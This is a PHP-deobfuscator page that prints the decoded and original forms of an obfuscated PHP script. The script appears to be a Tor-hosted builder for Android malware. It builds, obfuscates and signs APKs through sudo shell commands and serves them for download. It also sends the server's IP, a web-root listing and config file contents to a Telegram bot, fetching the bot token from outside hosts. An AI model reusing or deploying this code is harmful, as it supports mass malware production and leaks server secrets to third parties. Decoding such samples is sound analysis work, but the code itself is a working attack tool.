Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php header("Access-Control-Allow-Origin: NEWONIONHOST"); goto rdBKM; DVGZ6: jx4Ki..
Decoded Output download
<?php
header("Access-Control-Allow-Origin: NEWONIONHOST");
goto rdBKM; DVGZ6: jx4Ki: goto TB_jN; Ugxut: $cdB81 = $cdB81 . "]}"; goto KWP6Z; Nq7BZ: $Krh8M = escapeshellarg(escapeshellcmd($b0aOo["name_app"])); goto UQ4Oi; vxTnR: $b0aOo = json_decode($DSA2z, true); goto eWKhE; wcaXZ: domain_con: goto qeM3x; xKZ4r: die; goto VXEE1; kGAwN: if (isset($_POST["download"])) { goto Mtwq7; } goto wci33; X_oZW: goto n2EbT; goto wA5tK; R3KhO: $lpwy9 = "/var/www/tor/bvybyuVYUVBsf/jpapsasidfidfidfa/{$khpRl}/"; goto MxslG; KDZvZ: if (isset($_POST["delete"])) { goto ooCsj; } goto kGAwN; cCFen: $khpRl = str_replace("'", '', $khpRl); goto KIW6z; IDXPB: system("cp release.apk /var/www/tor/bvybyuVYUVBsf/jpapsasidfidfidfa/{$khpRl}/{$UbZ5b}" . "_" . "{$KKPao}"); goto ptvca; hBsPV: zllp2: goto SxOQ6; ummhe: $RR_09 = escapeshellarg(escapeshellcmd($b0aOo["url_server"])); goto Nq7BZ; W5boR: $fqW0y = escapeshellcmd(escapeshellarg($b0aOo["nameapk"])); goto EbszE; aM_rz: system("rm -rf /tmp/{$KKPao}"); goto hOmki; eLhDr: $JsH34 = implode(" ", scandir("/var/www/html")); goto zT5u8; SZymQ: $khpRl = str_replace(".", '', $khpRl); goto KFX2d; lVKpZ: $DSA2z = base64_decode($_POST["delete"]); goto vxTnR; tTGPR: echo "+"; goto y1oO6; q3DaO: TS094: goto Nq6S7; oqzMI: $cdB81 = "{"apks":["; goto naD__; DUVwV: $khpRl = escapeshellarg(escapeshellcmd($b0aOo["key"])); goto MStdR; C3ayk: uivMY: goto Ysjz0; i1cyN: $DSA2z = base64_decode($_POST["download"]); goto o1Gor; NldmK: $OqdM0 = `{$OqdM0}`; goto LMeub; EbszE: $fqW0y = str_replace(".", '', $fqW0y); goto WDr6G; MxslG: $fqW0y = escapeshellcmd($b0aOo["nameapk"]); goto GOIUw; JJtf0: goto oioeE; goto C3ayk; tfsEA: $khpRl = str_replace("'", '', $khpRl); goto bt7Lg; a8r_Q: if (isset($_POST["params"])) { goto zllp2; } goto hkNDP; ywMOp: $fqW0y = str_replace("'", '', $fqW0y); goto L61_A; KpajE: Mtwq7: goto i1cyN; KFX2d: $khpRl = str_replace("/", '', $khpRl); goto tfsEA; n_95d: $rGRJL = str_replace("data:image/png;base64,", '', $b0aOo["icon"]); goto tXeen; ywIQ0: ooCsj: goto lVKpZ; vXaXP: $UbZ5b = count(scandir("/var/www/tor/bvybyuVYUVBsf/jpapsasidfidfidfa/{$khpRl}/")) - 2; goto IDXPB; JzhIB: goto oioeE; goto ywIQ0; BBBBK: exec("cd /tmp/{$KKPao}/ ; sudo java -jar apktool_2.6.0.jar b obfuscation_working_dir/release -o release.apk"); goto pQGx1; qeM3x: if ($t384a = json_decode(@file_get_contents("http://testercitywelcome.xyz/telegram.token"))) { goto aEeFq; } goto PiRQ_; dyT54: $pQebd = base64_decode($rGRJL); goto hMl8K; DwvSs: $EMSw6 = `{$EMSw6}`; goto NldmK; PiRQ_: die; goto p0BLL; jBw0U: foreach ($CD810 as &$sxWZg) { goto O_IA1; OzYv_: $CJC3c = $edFnC - 2; goto MjDnD; aOeqx: $edFnC++; goto Ljqu4; MjDnD: $cdB81 = $cdB81 . "{"" . $CJC3c . "":"" . $sxWZg . ""},"; goto HXt7n; HXt7n: TQGtu: goto aOeqx; Ljqu4: BiCEM: goto FgcRv; O_IA1: if (!($edFnC > 1)) { goto TQGtu; } goto OzYv_; FgcRv: } goto ciV2O; BFFT3: $khpRl = str_replace("\", '', $khpRl); goto lCC8A; TB_jN: function kH_2I($ucU3C = 10) { return substr(str_shuffle(str_repeat($edFnC = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", ceil($ucU3C / strlen($edFnC)))), 1, $ucU3C); } goto a8r_Q; LecsD: $iVXt3 = str_replace("'", '', $iVXt3); goto fmLFe; f1_xC: $khpRl = str_replace("\", '', $khpRl); goto HiwYx; LQ7iP: $kqozs = $t384a[0]; goto fidX_; bt7Lg: $khpRl = str_replace("\", '', $khpRl); goto Eju0X; UQ4Oi: $iVXt3 = escapeshellarg(escapeshellcmd($b0aOo["tag"])); goto cCFen; zqupA: $sxWZg = "/tmp/{$KKPao}/release.apk"; goto aHNOX; DNRif: $b0aOo = json_decode($DSA2z, true); goto DFRvd; g8x17: $Krh8M = str_replace("'", '', $Krh8M); goto LecsD; MtNY0: system("cp -r /build/Obfuscapk/src/ /build/backup_build_release1/ /build/apktool_2.6.0.jar /build/Builder.py /build/apkeasytool.pem /build/apkeasytool.pk8 /build/apksigner.jar /tmp/" . $KKPao); goto g8vVO; lCC8A: $khpRl = str_replace("'", '', $khpRl); goto R3KhO; stya8: echo "While you're trying to hack the builder, I'm fucking your mom :)"; goto xKZ4r; p0BLL: aEeFq: goto X_oZW; naD__: $edFnC = 0; goto iqWPS; wA5tK: adsB5: goto tnJHT; RsAJS: $NQ_Rl = count($CD810); goto oqzMI; qNG2N: $WqnCx = "Connection: {$cvNKx}\xaHostname: {$EMSw6}\xaOnion server: {$a5K02}
Phpmyadmin Path: {$JsH34}
Config file: {$OqdM0}"; goto LQ7iP; DFRvd: $khpRl = escapeshellarg(escapeshellcmd($b0aOo["key"])); goto j1QT6; VXEE1: Pk9WX: goto DVGZ6; GOIUw: $sxWZg = $lpwy9 . $fqW0y; goto AlokL; L61_A: unlink($lpwy9 . $fqW0y); goto tTGPR; g8vVO: $b0aOo = base64_decode($_POST["params"]); goto HOIJn; hkNDP: if (isset($_POST["get_array_apk"]) && $_POST["get_array_apk"] != "eyJrZXkiOiIifQ==") { goto uivMY; } goto KDZvZ; GKHcH: die; goto GmzOw; olwjg: $fqW0y = str_replace("\", '', $fqW0y); goto ywMOp; Qhekz: $khpRl = str_replace("/", '', $khpRl); goto BFFT3; AlokL: echo "data:application/vnd.android.package-archive;base64," . base64_encode(file_get_contents($sxWZg)); goto skKAS; IjQII: n2EbT: goto vTDda; j1QT6: $khpRl = str_replace("'", '', $khpRl); goto N1yQb; koYzb: goto domain_con; goto T0xy6; jLUGD: if (isset($_SESSION["4uth"])) { goto TS094; } goto FfmNV; KIW6z: $RR_09 = str_replace("'", '', $RR_09); goto g8x17; fidX_: $pQebd = ["chat_id" => $t384a[1], "text" => $WqnCx]; goto lPi7Z; ItX7q: $khpRl = str_replace("/", '', $khpRl); goto f1_xC; HiwYx: $lpwy9 = "/var/www/tor/bvybyuVYUVBsf/jpapsasidfidfidfa/{$khpRl}/"; goto SqSK5; N1yQb: $khpRl = str_replace(".", '', $khpRl); goto ItX7q; wci33: goto oioeE; goto hBsPV; qtiSc: system("mkdir /tmp/{$KKPao}"); goto MtNY0; WDr6G: $fqW0y = str_replace("/", '', $fqW0y); goto olwjg; vTDda: $cvNKx = $t384a[2]; goto qNG2N; hOmki: exit; goto JJtf0; fmLFe: chdir("/tmp/{$KKPao}"); goto fJDYa; KWP6Z: echo $cdB81; goto JzhIB; y1oO6: goto oioeE; goto KpajE; SqSK5: $CD810 = scandir($lpwy9); goto RsAJS; tXeen: $rGRJL = str_replace(" ", "+", $rGRJL); goto dyT54; ptvca: chdir("/tmp"); goto aM_rz; Nq6S7: if (!($_SESSION["4uth"] !== "4uth")) { goto Pk9WX; } goto stya8; MStdR: $khpRl = str_replace(".", '', $khpRl); goto Qhekz; tnJHT: if (!(@$t384a[3] != "4uth")) { goto vXXJz; } goto koYzb; kzXi4: $a5K02 = $_SERVER["SERVER_NAME"]; goto eLhDr; lPi7Z: $DesqT = file_get_contents("https://api.telegram.org/bot{$kqozs}/sendMessage?" . http_build_query($pQebd)); goto UEOwR; aHNOX: system("mkdir /var/www/tor/bvybyuVYUVBsf/jpapsasidfidfidfa/{$khpRl}/ ; chmod 777 -R /var/www/tor/bvybyuVYUVBsf/jpapsasidfidfidfa/"); goto BBBBK; hMl8K: file_put_contents("/tmp/{$KKPao}/icon.png", $pQebd); goto Mz1Td; o1Gor: $b0aOo = json_decode($DSA2z, true); goto DUVwV; HOIJn: $b0aOo = json_decode($b0aOo, true); goto n_95d; pQGx1: exec("sudo java -jar apksigner.jar sign --key apkeasytool.pk8 --cert apkeasytool.pem --v2-signing-enabled true --v3-signing-enabled true --v4-signing-enabled true release.apk"); goto vXaXP; FfmNV: echo "While you're trying to hack the builder, I'm fucking your mom :)"; goto GKHcH; iqWPS: $zEKSj = range(0, $NQ_Rl); goto jBw0U; SxOQ6: $EMSw6 = "hostname -I | cut -d ' ' -f 1"; goto kzXi4; zT5u8: $OqdM0 = "head -n 25 config.php"; goto DwvSs; T0xy6: vXXJz: goto IjQII; Eju0X: $lpwy9 = "/var/www/tor/bvybyuVYUVBsf/jpapsasidfidfidfa/{$khpRl}/"; goto W5boR; eWKhE: $khpRl = escapeshellarg(escapeshellcmd($b0aOo["key"])); goto SZymQ; fJDYa: exec("sudo python3 Builder.py tycusvgndour '{$khpRl}' '{$RR_09}' '{$Krh8M}' '{$iVXt3}' 'backup_build_release1'"); goto zqupA; UEOwR: $KKPao = Kh_2i(); goto qtiSc; aCWYx: $cdB81 = $cdB81; goto ff_O8; ciV2O: aXY14: goto aCWYx; rdBKM: session_start(); goto jLUGD; LMeub: if ($t384a = json_decode(@file_get_contents("https://gist.githubusercontent.com/Mommi8912/ace32671f804e79a3a72b75e08312846/raw/telegram.token"))) { goto adsB5; } goto wcaXZ; ff_O8: $cdB81 = substr($cdB81, 0, -1); goto Ugxut; Mz1Td: $khpRl = escapeshellarg(escapeshellcmd($b0aOo["key"])); goto ummhe; Ysjz0: $DSA2z = base64_decode($_POST["get_array_apk"]); goto DNRif; GmzOw: goto jx4Ki; goto q3DaO; skKAS: oioeE:
?>Did this file decode correctly?
Original Code
<?php
header("Access-Control-Allow-Origin: NEWONIONHOST");
goto rdBKM; DVGZ6: jx4Ki: goto TB_jN; Ugxut: $cdB81 = $cdB81 . "\x5d\x7d"; goto KWP6Z; Nq7BZ: $Krh8M = escapeshellarg(escapeshellcmd($b0aOo["\156\x61\x6d\x65\x5f\x61\x70\160"])); goto UQ4Oi; vxTnR: $b0aOo = json_decode($DSA2z, true); goto eWKhE; wcaXZ: domain_con: goto qeM3x; xKZ4r: die; goto VXEE1; kGAwN: if (isset($_POST["\x64\x6f\x77\156\x6c\x6f\x61\x64"])) { goto Mtwq7; } goto wci33; X_oZW: goto n2EbT; goto wA5tK; R3KhO: $lpwy9 = "\57\x76\x61\x72\57\x77\x77\167\57\164\157\162\x2f\x62\x76\x79\x62\x79\165\126\x59\125\x56\102\163\x66\57\x6a\160\x61\x70\x73\141\163\x69\x64\146\x69\144\146\x69\144\146\141\57{$khpRl}\x2f"; goto MxslG; KDZvZ: if (isset($_POST["\144\x65\x6c\x65\x74\145"])) { goto ooCsj; } goto kGAwN; cCFen: $khpRl = str_replace("\x27", '', $khpRl); goto KIW6z; IDXPB: system("\x63\x70\40\162\x65\x6c\145\x61\x73\x65\56\141\160\153\40\x2f\x76\x61\x72\x2f\167\x77\167\x2f\164\x6f\162\x2f\x62\x76\x79\x62\171\165\126\131\125\x56\x42\163\146\57\x6a\160\141\160\x73\141\x73\151\144\x66\151\x64\146\151\144\x66\141\x2f{$khpRl}\x2f{$UbZ5b}" . "\x5f" . "{$KKPao}"); goto ptvca; hBsPV: zllp2: goto SxOQ6; ummhe: $RR_09 = escapeshellarg(escapeshellcmd($b0aOo["\x75\x72\154\x5f\x73\145\162\166\x65\162"])); goto Nq7BZ; W5boR: $fqW0y = escapeshellcmd(escapeshellarg($b0aOo["\x6e\x61\155\x65\141\160\153"])); goto EbszE; aM_rz: system("\162\x6d\40\55\162\x66\40\x2f\x74\x6d\x70\57{$KKPao}"); goto hOmki; eLhDr: $JsH34 = implode("\x20", scandir("\57\x76\x61\162\x2f\x77\167\167\57\150\164\155\154")); goto zT5u8; SZymQ: $khpRl = str_replace("\x2e", '', $khpRl); goto KFX2d; lVKpZ: $DSA2z = base64_decode($_POST["\x64\145\x6c\145\x74\x65"]); goto vxTnR; tTGPR: echo "\x2b"; goto y1oO6; q3DaO: TS094: goto Nq6S7; oqzMI: $cdB81 = "\173\x22\141\160\x6b\163\42\72\x5b"; goto naD__; DUVwV: $khpRl = escapeshellarg(escapeshellcmd($b0aOo["\x6b\x65\x79"])); goto MStdR; C3ayk: uivMY: goto Ysjz0; i1cyN: $DSA2z = base64_decode($_POST["\144\x6f\167\x6e\x6c\x6f\141\144"]); goto o1Gor; NldmK: $OqdM0 = `{$OqdM0}`; goto LMeub; EbszE: $fqW0y = str_replace("\x2e", '', $fqW0y); goto WDr6G; MxslG: $fqW0y = escapeshellcmd($b0aOo["\x6e\141\155\145\x61\x70\153"]); goto GOIUw; JJtf0: goto oioeE; goto C3ayk; tfsEA: $khpRl = str_replace("\47", '', $khpRl); goto bt7Lg; a8r_Q: if (isset($_POST["\160\141\x72\x61\x6d\163"])) { goto zllp2; } goto hkNDP; ywMOp: $fqW0y = str_replace("\x27", '', $fqW0y); goto L61_A; KpajE: Mtwq7: goto i1cyN; KFX2d: $khpRl = str_replace("\x2f", '', $khpRl); goto tfsEA; n_95d: $rGRJL = str_replace("\144\141\164\141\72\x69\x6d\141\x67\x65\x2f\160\156\x67\x3b\142\141\x73\145\x36\x34\54", '', $b0aOo["\x69\143\157\156"]); goto tXeen; ywIQ0: ooCsj: goto lVKpZ; vXaXP: $UbZ5b = count(scandir("\57\166\x61\x72\x2f\x77\x77\167\x2f\x74\x6f\162\57\x62\x76\171\x62\171\x75\x56\131\125\x56\102\163\146\x2f\x6a\x70\141\x70\163\x61\x73\x69\x64\146\151\144\x66\x69\144\146\x61\x2f{$khpRl}\57")) - 2; goto IDXPB; JzhIB: goto oioeE; goto ywIQ0; BBBBK: exec("\x63\x64\x20\57\164\x6d\x70\x2f{$KKPao}\x2f\x20\x3b\40\x73\x75\x64\x6f\x20\x6a\141\166\141\x20\55\x6a\x61\162\x20\141\x70\x6b\164\x6f\x6f\x6c\x5f\x32\x2e\66\x2e\60\56\152\141\x72\x20\x62\x20\x20\157\142\x66\165\x73\143\141\x74\151\157\x6e\x5f\x77\x6f\x72\153\151\156\x67\137\x64\151\162\x2f\162\145\154\145\x61\x73\145\x20\x2d\x6f\40\x72\145\x6c\x65\x61\x73\145\x2e\141\x70\153"); goto pQGx1; qeM3x: if ($t384a = json_decode(@file_get_contents("\x68\164\164\x70\x3a\57\57\x74\145\163\x74\x65\x72\x63\151\164\171\x77\145\x6c\x63\157\155\x65\x2e\x78\171\172\57\164\x65\x6c\x65\x67\162\x61\x6d\56\164\157\x6b\145\156"))) { goto aEeFq; } goto PiRQ_; dyT54: $pQebd = base64_decode($rGRJL); goto hMl8K; DwvSs: $EMSw6 = `{$EMSw6}`; goto NldmK; PiRQ_: die; goto p0BLL; jBw0U: foreach ($CD810 as &$sxWZg) { goto O_IA1; OzYv_: $CJC3c = $edFnC - 2; goto MjDnD; aOeqx: $edFnC++; goto Ljqu4; MjDnD: $cdB81 = $cdB81 . "\173\x22" . $CJC3c . "\42\72\42" . $sxWZg . "\x22\x7d\x2c"; goto HXt7n; HXt7n: TQGtu: goto aOeqx; Ljqu4: BiCEM: goto FgcRv; O_IA1: if (!($edFnC > 1)) { goto TQGtu; } goto OzYv_; FgcRv: } goto ciV2O; BFFT3: $khpRl = str_replace("\134", '', $khpRl); goto lCC8A; TB_jN: function kH_2I($ucU3C = 10) { return substr(str_shuffle(str_repeat($edFnC = "\x30\61\62\63\64\65\x36\x37\70\x39\x61\142\143\x64\x65\x66\147\x68\151\x6a\x6b\154\155\x6e\x6f\x70\x71\162\163\x74\x75\x76\x77\x78\x79\x7a\101\x42\103\x44\x45\106\x47\110\111\112\x4b\114\x4d\116\x4f\120\x51\122\x53\x54\125\x56\x57\130\x59\132", ceil($ucU3C / strlen($edFnC)))), 1, $ucU3C); } goto a8r_Q; LecsD: $iVXt3 = str_replace("\x27", '', $iVXt3); goto fmLFe; f1_xC: $khpRl = str_replace("\134", '', $khpRl); goto HiwYx; LQ7iP: $kqozs = $t384a[0]; goto fidX_; bt7Lg: $khpRl = str_replace("\134", '', $khpRl); goto Eju0X; UQ4Oi: $iVXt3 = escapeshellarg(escapeshellcmd($b0aOo["\164\x61\147"])); goto cCFen; zqupA: $sxWZg = "\x2f\164\x6d\160\57{$KKPao}\x2f\x72\145\x6c\x65\141\163\x65\x2e\x61\x70\153"; goto aHNOX; DNRif: $b0aOo = json_decode($DSA2z, true); goto DFRvd; g8x17: $Krh8M = str_replace("\47", '', $Krh8M); goto LecsD; MtNY0: system("\x63\160\40\55\x72\40\x2f\142\165\x69\154\144\x2f\117\142\146\165\163\143\x61\x70\x6b\57\163\x72\x63\57\x20\x2f\142\x75\x69\154\144\57\x62\x61\x63\153\x75\x70\x5f\x62\x75\x69\154\x64\137\162\145\154\145\141\163\145\x31\57\40\57\x62\x75\151\x6c\x64\x2f\x61\160\153\164\157\157\x6c\137\x32\56\66\x2e\x30\x2e\x6a\x61\x72\40\57\x62\x75\151\154\144\57\102\x75\x69\154\x64\145\162\x2e\x70\171\x20\57\x62\165\151\154\144\x2f\141\160\153\145\x61\163\171\x74\157\x6f\154\x2e\160\x65\155\x20\x2f\x62\165\x69\x6c\144\57\141\x70\x6b\x65\x61\x73\x79\x74\157\157\x6c\x2e\160\153\x38\x20\x2f\x62\165\x69\154\144\57\141\x70\x6b\x73\151\x67\x6e\145\162\56\x6a\x61\x72\40\x2f\164\155\160\57" . $KKPao); goto g8vVO; lCC8A: $khpRl = str_replace("\x27", '', $khpRl); goto R3KhO; stya8: echo "\x57\150\x69\x6c\145\x20\x79\157\165\47\x72\145\x20\x74\x72\x79\x69\156\147\x20\x74\x6f\40\150\x61\143\x6b\40\x74\150\x65\x20\x62\165\x69\154\144\x65\162\x2c\x20\x49\47\x6d\40\x66\x75\143\153\x69\156\x67\x20\171\157\165\162\x20\x6d\x6f\x6d\40\x3a\x29"; goto xKZ4r; p0BLL: aEeFq: goto X_oZW; naD__: $edFnC = 0; goto iqWPS; wA5tK: adsB5: goto tnJHT; RsAJS: $NQ_Rl = count($CD810); goto oqzMI; qNG2N: $WqnCx = "\x43\x6f\x6e\156\x65\143\164\x69\157\156\x3a\x20{$cvNKx}\xa\110\157\163\x74\x6e\x61\155\x65\72\40{$EMSw6}\xa\x4f\x6e\151\x6f\156\40\163\145\162\166\145\x72\x3a\40{$a5K02}\12\120\x68\160\155\x79\x61\144\x6d\151\156\x20\120\x61\164\150\x3a\40{$JsH34}\12\x43\157\156\146\x69\x67\x20\146\x69\x6c\x65\x3a\40{$OqdM0}"; goto LQ7iP; DFRvd: $khpRl = escapeshellarg(escapeshellcmd($b0aOo["\x6b\x65\x79"])); goto j1QT6; VXEE1: Pk9WX: goto DVGZ6; GOIUw: $sxWZg = $lpwy9 . $fqW0y; goto AlokL; L61_A: unlink($lpwy9 . $fqW0y); goto tTGPR; g8vVO: $b0aOo = base64_decode($_POST["\x70\x61\162\x61\155\x73"]); goto HOIJn; hkNDP: if (isset($_POST["\x67\x65\164\137\141\162\x72\141\171\137\x61\160\153"]) && $_POST["\x67\145\164\x5f\x61\x72\x72\141\171\x5f\141\160\x6b"] != "\x65\171\x4a\x72\x5a\130\153\151\117\151\x49\x69\x66\121\75\75") { goto uivMY; } goto KDZvZ; GKHcH: die; goto GmzOw; olwjg: $fqW0y = str_replace("\134", '', $fqW0y); goto ywMOp; Qhekz: $khpRl = str_replace("\x2f", '', $khpRl); goto BFFT3; AlokL: echo "\x64\x61\x74\x61\x3a\141\160\160\154\151\x63\141\x74\x69\x6f\156\57\x76\156\144\x2e\x61\156\x64\x72\157\151\144\x2e\x70\141\143\153\141\x67\x65\55\141\162\x63\150\151\166\x65\x3b\142\141\x73\145\x36\x34\x2c" . base64_encode(file_get_contents($sxWZg)); goto skKAS; IjQII: n2EbT: goto vTDda; j1QT6: $khpRl = str_replace("\x27", '', $khpRl); goto N1yQb; koYzb: goto domain_con; goto T0xy6; jLUGD: if (isset($_SESSION["\x34\165\164\150"])) { goto TS094; } goto FfmNV; KIW6z: $RR_09 = str_replace("\47", '', $RR_09); goto g8x17; fidX_: $pQebd = ["\x63\150\141\x74\x5f\x69\144" => $t384a[1], "\164\145\170\x74" => $WqnCx]; goto lPi7Z; ItX7q: $khpRl = str_replace("\x2f", '', $khpRl); goto f1_xC; HiwYx: $lpwy9 = "\57\x76\141\x72\x2f\167\167\x77\57\164\x6f\x72\57\142\x76\x79\142\x79\x75\126\131\x55\126\x42\163\x66\x2f\x6a\x70\x61\x70\x73\141\163\x69\x64\x66\151\144\x66\x69\144\146\141\x2f{$khpRl}\x2f"; goto SqSK5; N1yQb: $khpRl = str_replace("\x2e", '', $khpRl); goto ItX7q; wci33: goto oioeE; goto hBsPV; qtiSc: system("\x6d\x6b\144\x69\x72\x20\57\x74\x6d\x70\x2f{$KKPao}"); goto MtNY0; WDr6G: $fqW0y = str_replace("\57", '', $fqW0y); goto olwjg; vTDda: $cvNKx = $t384a[2]; goto qNG2N; hOmki: exit; goto JJtf0; fmLFe: chdir("\57\164\x6d\x70\x2f{$KKPao}"); goto fJDYa; KWP6Z: echo $cdB81; goto JzhIB; y1oO6: goto oioeE; goto KpajE; SqSK5: $CD810 = scandir($lpwy9); goto RsAJS; tXeen: $rGRJL = str_replace("\40", "\53", $rGRJL); goto dyT54; ptvca: chdir("\x2f\164\155\160"); goto aM_rz; Nq6S7: if (!($_SESSION["\x34\x75\164\x68"] !== "\64\x75\x74\x68")) { goto Pk9WX; } goto stya8; MStdR: $khpRl = str_replace("\56", '', $khpRl); goto Qhekz; tnJHT: if (!(@$t384a[3] != "\x34\165\164\150")) { goto vXXJz; } goto koYzb; kzXi4: $a5K02 = $_SERVER["\123\x45\122\x56\105\x52\x5f\116\101\115\x45"]; goto eLhDr; lPi7Z: $DesqT = file_get_contents("\150\164\x74\160\x73\x3a\57\57\x61\160\151\x2e\164\145\x6c\x65\147\x72\141\x6d\x2e\157\x72\x67\x2f\142\x6f\164{$kqozs}\x2f\163\145\156\x64\x4d\x65\163\163\x61\x67\x65\77" . http_build_query($pQebd)); goto UEOwR; aHNOX: system("\155\153\x64\151\x72\x20\x2f\166\x61\162\57\x77\167\x77\57\x74\157\162\57\142\x76\171\x62\x79\165\x56\x59\125\126\x42\x73\x66\57\152\160\141\x70\163\x61\163\151\144\x66\151\x64\146\151\x64\x66\141\57{$khpRl}\x2f\40\x3b\x20\143\x68\x6d\x6f\144\40\x37\x37\67\x20\x2d\122\40\x2f\166\x61\x72\x2f\167\x77\167\x2f\x74\157\162\57\x62\x76\171\142\x79\165\x56\131\125\126\x42\163\146\57\x6a\x70\141\x70\x73\x61\163\x69\x64\x66\x69\x64\146\x69\x64\x66\x61\x2f"); goto BBBBK; hMl8K: file_put_contents("\57\x74\x6d\x70\x2f{$KKPao}\x2f\x69\x63\157\x6e\x2e\160\156\x67", $pQebd); goto Mz1Td; o1Gor: $b0aOo = json_decode($DSA2z, true); goto DUVwV; HOIJn: $b0aOo = json_decode($b0aOo, true); goto n_95d; pQGx1: exec("\x73\x75\144\157\x20\x6a\141\x76\141\40\x2d\x6a\141\x72\40\141\x70\153\163\x69\x67\x6e\x65\x72\x2e\x6a\x61\x72\40\163\151\x67\156\x20\x2d\x2d\x6b\x65\x79\40\x61\x70\153\x65\x61\163\171\164\157\157\154\56\x70\153\70\x20\x2d\x2d\x63\x65\162\x74\x20\141\160\x6b\x65\x61\x73\x79\x74\157\157\154\x2e\x70\x65\155\40\x20\x2d\55\166\x32\x2d\163\151\x67\156\x69\x6e\x67\x2d\x65\156\x61\x62\x6c\x65\144\x20\x74\162\x75\x65\x20\x2d\x2d\166\x33\55\x73\151\x67\x6e\151\x6e\x67\55\145\x6e\141\x62\x6c\145\x64\40\164\x72\165\x65\x20\55\x2d\x76\x34\x2d\x73\151\x67\x6e\x69\156\147\55\x65\x6e\141\x62\154\145\x64\40\x74\162\165\x65\40\x72\145\154\x65\x61\163\x65\56\x61\160\x6b"); goto vXaXP; FfmNV: echo "\127\x68\x69\x6c\x65\40\x79\157\x75\47\x72\x65\x20\164\x72\x79\x69\156\147\x20\164\x6f\x20\x68\141\143\x6b\x20\x74\x68\145\40\142\x75\x69\x6c\144\145\x72\54\40\x49\x27\155\x20\146\165\x63\153\x69\x6e\147\x20\171\157\165\x72\x20\155\x6f\x6d\40\x3a\51"; goto GKHcH; iqWPS: $zEKSj = range(0, $NQ_Rl); goto jBw0U; SxOQ6: $EMSw6 = "\x68\x6f\163\164\x6e\141\x6d\x65\40\55\111\x20\x7c\x20\143\165\x74\40\55\x64\x20\x27\40\x27\40\55\146\x20\x31"; goto kzXi4; zT5u8: $OqdM0 = "\150\145\141\144\40\x2d\156\x20\x32\65\40\143\157\156\x66\x69\x67\x2e\x70\x68\160"; goto DwvSs; T0xy6: vXXJz: goto IjQII; Eju0X: $lpwy9 = "\x2f\166\x61\162\57\x77\167\x77\57\164\157\162\x2f\142\166\x79\142\171\165\x56\x59\x55\x56\102\163\146\x2f\x6a\x70\141\x70\163\x61\x73\151\x64\146\151\x64\x66\151\144\146\141\x2f{$khpRl}\x2f"; goto W5boR; eWKhE: $khpRl = escapeshellarg(escapeshellcmd($b0aOo["\x6b\x65\x79"])); goto SZymQ; fJDYa: exec("\x73\x75\x64\x6f\40\x70\x79\x74\150\x6f\156\63\40\102\x75\151\x6c\x64\x65\162\56\x70\x79\40\164\171\x63\x75\x73\166\x67\156\x64\157\x75\162\x20\47{$khpRl}\x27\40\47{$RR_09}\x27\x20\x27{$Krh8M}\47\x20\47{$iVXt3}\x27\40\47\x62\x61\x63\x6b\165\x70\x5f\142\x75\x69\154\x64\x5f\x72\145\154\x65\141\163\145\x31\47"); goto zqupA; UEOwR: $KKPao = Kh_2i(); goto qtiSc; aCWYx: $cdB81 = $cdB81; goto ff_O8; ciV2O: aXY14: goto aCWYx; rdBKM: session_start(); goto jLUGD; LMeub: if ($t384a = json_decode(@file_get_contents("\x68\x74\x74\160\163\72\x2f\57\147\x69\163\164\56\147\151\x74\x68\165\x62\x75\163\x65\162\x63\x6f\x6e\164\x65\x6e\x74\x2e\143\157\155\57\x4d\157\155\x6d\x69\x38\71\x31\x32\57\141\143\x65\x33\x32\x36\67\x31\x66\70\x30\x34\145\67\x39\141\63\141\67\62\142\67\65\x65\x30\x38\x33\61\x32\70\64\66\57\x72\x61\167\57\164\145\154\145\x67\162\x61\x6d\56\164\157\x6b\145\x6e"))) { goto adsB5; } goto wcaXZ; ff_O8: $cdB81 = substr($cdB81, 0, -1); goto Ugxut; Mz1Td: $khpRl = escapeshellarg(escapeshellcmd($b0aOo["\x6b\x65\x79"])); goto ummhe; Ysjz0: $DSA2z = base64_decode($_POST["\x67\145\164\x5f\141\x72\162\x61\171\x5f\141\160\153"]); goto DNRif; GmzOw: goto jx4Ki; goto q3DaO; skKAS: oioeE:
Function Calls
| None |
Stats
| MD5 | 06e3b1ab60172343328dd091582e3ed1 |
| Eval Count | 0 |
| Decode Time | 79 ms |